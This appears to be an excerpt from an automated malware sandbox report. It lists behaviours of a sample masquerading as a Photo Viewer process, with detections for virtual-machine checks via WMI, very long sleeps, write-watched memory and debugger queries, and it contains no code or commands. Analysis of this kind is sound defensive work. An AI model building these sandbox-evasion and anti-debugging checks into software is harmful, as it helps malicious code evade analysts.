Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Memory allocated: 3270000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Memory allocated: 24F70000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Memory allocated: 24D80000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Memory allocated: 2DB0000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Memory allocated: 24960000 memory reserve | memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Memory allocated: 24800000 memory reserve | memory write watch
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 600000
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599888
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599776
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599664
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599554
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599443
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599332
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599204
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599076
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598964
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598852
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598741
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598630
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598518
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598391
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598279
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598167
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598056
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597945
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597833
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597715
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597610
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597482
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597370
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597258
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597146
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597034
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596906
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596794
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596682
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596571
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596460
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596348
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596220
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596093
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595981
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595870
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595760
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595647
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595537
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595425
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595300
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595173
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595045
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594933
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594822
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594711
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594599
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594471
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594343
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2109
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7791
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3818
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6010
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Window / User API: threadDelayed 387
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Window / User API: threadDelayed 9707
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7092 Thread sleep count: 2109 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7096 Thread sleep count: 7791 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7144 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6192 Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7108 Thread sleep count: 3818 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7108 Thread sleep count: 6010 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7044 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -600000s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 4780 Thread sleep count: 387 > 30
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -599888s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -599776s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 4780 Thread sleep count: 134 > 30
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -599664s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -599554s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -599443s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -599332s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 4780 Thread sleep count: 9707 > 30
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -599204s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -599076s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598964s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598852s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598741s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598630s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598518s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598391s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598279s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598167s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -598056s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597945s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597833s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597715s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597610s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597482s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597370s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597258s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597146s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -597034s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -596906s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -596794s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -596682s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -596571s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -596460s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -596348s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -596220s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -596093s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595981s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595870s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595760s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595647s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595537s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595425s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595300s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595173s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -595045s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -594933s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -594822s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -594711s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -594599s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -594471s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 6168 Thread sleep time: -594343s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe TID: 1172 Thread sleep time: -922337203685477s >= -30000s
Queries disk information (often used to detect virtual machines)
Source: C:\Windows\System32\svchost.exe File opened: PhysicalDrive0
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 600000
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599888
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599776
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599664
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599554
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599443
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599332
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599204
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 599076
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598964
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598852
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598741
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598630
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598518
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598391
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598279
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598167
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 598056
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597945
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597833
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597715
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597610
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597482
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597370
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597258
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597146
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 597034
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596906
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596794
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596682
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596571
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596460
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596348
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596220
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 596093
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595981
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595870
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595760
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595647
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595537
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595425
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595300
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595173
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 595045
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594933
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594822
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594711
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594599
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594471
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 594343
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Pitapats\gimmickry\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Pitapats\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe File opened: C:\Users\user\AppData\Roaming\Pitapats\gimmickry\Curan158\
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process queried: DebugPort
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process queried: DebugPort
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process queried: DebugPort
